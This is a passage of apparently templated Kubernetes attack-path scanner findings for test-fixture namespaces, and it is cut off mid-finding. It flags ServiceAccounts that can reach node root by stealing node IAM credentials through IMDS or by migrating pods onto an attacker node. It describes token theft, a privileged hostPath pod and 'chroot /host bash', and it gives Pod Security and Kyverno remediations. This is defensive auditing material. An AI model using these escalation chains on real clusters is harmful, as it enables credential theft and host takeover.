Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/containersec-fixtures/default → /).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/containersec-fixtures/default → /).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
HIGH ServiceAccount/csr-fixtures/sa-csr-mint Cluster 8.5
ServiceAccount/csr-fixtures/sa-csr-mint can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/csr-fixtures/sa-csr-mint → node escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/csr-fixtures/sa-csr-mint

Subject ServiceAccount/csr-fixtures/sa-csr-mint has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/csr-fixtures/sa-csr-mint → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod csr-fixtures/csr-mint-app-7b46f9dc-lkbq6 falls back to node IAM role via IMDS

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/csr-fixtures/sa-csr-mint yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/csr-fixtures/sa-csr-mint.
  2. Acting as ServiceAccount/csr-fixtures/sa-csr-mint, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod csr-fixtures/csr-mint-app-7b46f9dc-lkbq6 falls back to node IAM role via IMDS.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod csr-fixtures/csr-mint-app-7b46f9dc-lkbq6 falls back to node IAM role via IMDS
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/csr-fixtures/sa-csr-mint → /).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/csr-fixtures/sa-csr-mint → /).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
HIGH ServiceAccount/csr-fixtures/sa-csr-sign Cluster 8.5
ServiceAccount/csr-fixtures/sa-csr-sign can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/csr-fixtures/sa-csr-sign → node escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/csr-fixtures/sa-csr-sign

Subject ServiceAccount/csr-fixtures/sa-csr-sign has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/csr-fixtures/sa-csr-sign → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod csr-fixtures/csr-sign-app-5db6bf86b4-p7xd8 falls back to node IAM role via IMDS

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/csr-fixtures/sa-csr-sign yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/csr-fixtures/sa-csr-sign.
  2. Acting as ServiceAccount/csr-fixtures/sa-csr-sign, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod csr-fixtures/csr-sign-app-5db6bf86b4-p7xd8 falls back to node IAM role via IMDS.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/csr-fixtures/sa-csr-sign
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod csr-fixtures/csr-sign-app-5db6bf86b4-p7xd8 falls back to node IAM role via IMDS
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/csr-fixtures/sa-csr-sign → /).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/csr-fixtures/sa-csr-sign → /).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
HIGH ServiceAccount/cutres/cutres-detour Cluster 8.5
ServiceAccount/cutres/cutres-detour can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/cutres/cutres-detour → node escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/cutres/cutres-detour

Subject ServiceAccount/cutres/cutres-detour has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/cutres/cutres-detour → / via node_drain_migrate (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/cutres/cutres-detour yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/cutres/cutres-detour.
  2. Acting as ServiceAccount/cutres/cutres-detour, the attacker uses the node_drain_migrate technique via delete pods + update nodes/status, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Migrate pods onto an attacker node node_drain_migrate

    A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/cutres/cutres-detour
    Permission granted delete pods + update nodes/status
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission delete pods + update nodes/status that enables the first hop (ServiceAccount/cutres/cutres-detour → /).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission delete pods + update nodes/status that enables the first hop (ServiceAccount/cutres/cutres-detour → /).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
HIGH ServiceAccount/cutres/cutres-parallel Cluster 8.5
ServiceAccount/cutres/cutres-parallel can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/cutres/cutres-parallel → node escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/cutres/cutres-parallel

Subject ServiceAccount/cutres/cutres-parallel has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/cutres/cutres-parallel → / via node_drain_migrate (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/cutres/cutres-parallel yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/cutres/cutres-parallel.
  2. Acting as ServiceAccount/cutres/cutres-parallel, the attacker uses the node_drain_migrate technique via delete pods + update nodes/status, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Migrate pods onto an attacker node node_drain_migrate

    A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/cutres/cutres-parallel
    Permission granted delete pods + update nodes/status
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission delete pods + update nodes/status that enables the first hop (ServiceAccount/cutres/cutres-parallel → /).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission delete pods + update nodes/status that enables the first hop (ServiceAccount/cutres/cutres-parallel → /).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
HIGH ServiceAccount/deepchain-tenant/deepchain-privileged Cluster 8.5
ServiceAccount/deepchain-tenant/deepchain-privileged can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/deepchain-tenant/deepchain-privileged → node escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/deepchain-tenant/deepchain-privileged

Subject ServiceAccount/deepchain-tenant/deepchain-privileged has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/deepchain-tenant/deepchain-privileged → / via node_drain_migrate (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/deepchain-tenant/deepchain-privileged yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/deepchain-tenant/deepchain-privileged.
  2. Acting as ServiceAccount/deepchain-tenant/deepchain-privileged, the attacker uses the node_drain_migrate technique via delete pods + update nodes/status, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Migrate pods onto an attacker node node_drain_migrate

    A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/deepchain-tenant/deepchain-privileged
    Permission granted delete pods + update nodes/status
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission delete pods + update nodes/status that enables the first hop (ServiceAccount/deepchain-tenant/deepchain-privileged → /).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission delete pods + update nodes/status that enables the first hop (ServiceAccount/deepchain-tenant/deepchain-privileged → /).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
HIGH ServiceAccount/flat-network/default Cluster 8.5
ServiceAccount/flat-network/default can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/flat-network/default → node escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/flat-network/default

Subject ServiceAccount/flat-network/default has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/flat-network/default → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod flat-network/api-55d9f69c7d-ppr7v falls back to node IAM role via IMDS

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/flat-network/default yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/flat-network/default.
  2. Acting as ServiceAccount/flat-network/default, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod flat-network/api-55d9f69c7d-ppr7v falls back to node IAM role via IMDS.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/flat-network/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod flat-network/api-55d9f69c7d-ppr7v falls back to node IAM role via IMDS
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/flat-network/default → /).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/flat-network/default → /).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
HIGH ServiceAccount/flux-system/kustomize-controller Cluster 8.5
ServiceAccount/flux-system/kustomize-controller can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/flux-system/kustomize-controller → node escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/flux-system/kustomize-controller

Subject ServiceAccount/flux-system/kustomize-controller has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/flux-system/kustomize-controller → / via node_drain_migrate (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/flux-system/kustomize-controller yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/flux-system/kustomize-controller.
  2. Acting as ServiceAccount/flux-system/kustomize-controller, the attacker uses the node_drain_migrate technique via delete pods + update nodes/status, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Migrate pods onto an attacker node node_drain_migrate

    A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/flux-system/kustomize-controller
    Permission granted delete pods + update nodes/status
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission delete pods + update nodes/status that enables the first hop (ServiceAccount/flux-system/kustomize-controller → /).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission delete pods + update nodes/status that enables the first hop (ServiceAccount/flux-system/kustomize-controller → /).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
HIGH ServiceAccount/foothold-exec/foothold-decoy-sa Cluster 8.5
ServiceAccount/foothold-exec/foothold-decoy-sa can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/foothold-exec/foothold-decoy-sa → node escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/foothold-exec/foothold-decoy-sa

Subject ServiceAccount/foothold-exec/foothold-decoy-sa has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/foothold-exec/foothold-decoy-sa → / via node_drain_migrate (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/foothold-exec/foothold-decoy-sa yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/foothold-exec/foothold-decoy-sa.
